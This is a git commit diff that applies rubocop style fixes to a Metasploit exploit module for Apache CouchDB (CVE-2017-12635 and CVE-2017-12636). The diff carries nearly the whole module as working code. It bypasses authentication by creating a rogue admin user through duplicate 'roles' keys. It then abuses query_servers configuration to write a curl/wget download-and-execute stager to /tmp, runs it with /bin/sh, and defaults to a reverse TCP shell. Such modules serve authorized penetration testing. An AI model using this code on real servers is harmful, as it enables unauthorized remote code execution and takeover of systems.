Run rubocop -a

GSoC/Meterpreter_Web_Console
William Vu 2018-07-11 21:40:19 -05:00
parent 0ef0fae2b2
commit ca5e496b8f
1 changed files with 45 additions and 64 deletions

View File

@ -18,17 +18,17 @@ class MetasploitModule < Msf::Exploit::Remote
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
[ 'CVE', '2017-12636'],
[ 'CVE', '2017-12635'],
[ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
[ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
[ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
'References' => [
['CVE', '2017-12636'],
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
@ -36,29 +36,29 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {} ],
['Apache CouchDB version 1.x', {} ],
['Apache CouchDB version 2.x', {} ]
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {}],
['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {}]
],
'DefaultTarget' => 0
))
'DefaultTarget' => 0))
register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
register_advanced_options(
[
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
]
)
end
def check
@ -67,9 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}"
if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
return CheckCode::Appears
end
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
CheckCode::Safe
end
@ -96,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
attempts.times do |i|
print_status("#{peer} - The #{i+1} time to exploit")
print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
@ -112,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password)
@ -121,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}}
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
)
if res && res.code == 200 && res.get_json_document['ok']
@ -129,7 +126,6 @@ class MetasploitModule < Msf::Exploit::Remote
else
return false
end
end
def get_version
@ -137,11 +133,10 @@ class MetasploitModule < Msf::Exploit::Remote
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
vprint_bad("#{peer} - Connection failed")
return false
@ -177,9 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version)
case
# Version not found
when version.version.empty?
if version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
@ -191,21 +184,19 @@ class MetasploitModule < Msf::Exploit::Remote
payload2
end
when version < Gem::Version.new('1.7.0')
elsif version < Gem::Version.new('1.7.0')
payload1
when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end
end
# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
@ -218,8 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
res = send_request_cgi(
@ -232,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{{"_id": "#{rand_hex}"}}
'data' => %({"_id": "#{rand_hex}"})
)
res = send_request_cgi(
@ -240,14 +230,14 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd1}","map":""}}
'data' => %({"language":"#{rand_cmd1}","map":""})
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"/bin/sh #{rand_file}"}
'data' => %("/bin/sh #{rand_file}")
)
res = send_request_cgi(
@ -255,15 +245,12 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
'data' => %({"language":"#{rand_cmd2}","map":""})
)
end
# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
@ -281,13 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote
)
node = res.get_json_document['all_nodes'][0]
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
res = send_request_cgi(
@ -300,7 +285,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{{"_id": "#{rand_hex}"}}
'data' => %({"_id": "#{rand_hex}"})
)
res = send_request_cgi(
@ -308,15 +293,14 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}}
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %Q{"/bin/sh #{rand_file}"}
'data' => %("/bin/sh #{rand_file}")
)
res = send_request_cgi(
@ -324,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}}
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
)
end
@ -338,14 +322,13 @@ class MetasploitModule < Msf::Exploit::Remote
#
def on_request_uri(cli, request)
if (not @cmdstager)
if !@cmdstager
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("Sending payload #{datastore['PAYLOAD']}")
super
end
def start_service(opts = {})
@ -353,7 +336,6 @@ class MetasploitModule < Msf::Exploit::Remote
@service_url = get_uri
end
# mark the exploit successful and clean temp file created during exploiting
def on_new_session(client)
# mark flag be true to stop exploit.
@ -370,9 +352,8 @@ class MetasploitModule < Msf::Exploit::Remote
client.shell_command_token("rm #{@file_to_clean}")
end
vprint_good("Cleaned temp file successful.")
rescue
rescue StandardError
print_warning("Need to clean the temp file #{@file_to_clean} manually.")
end
end
end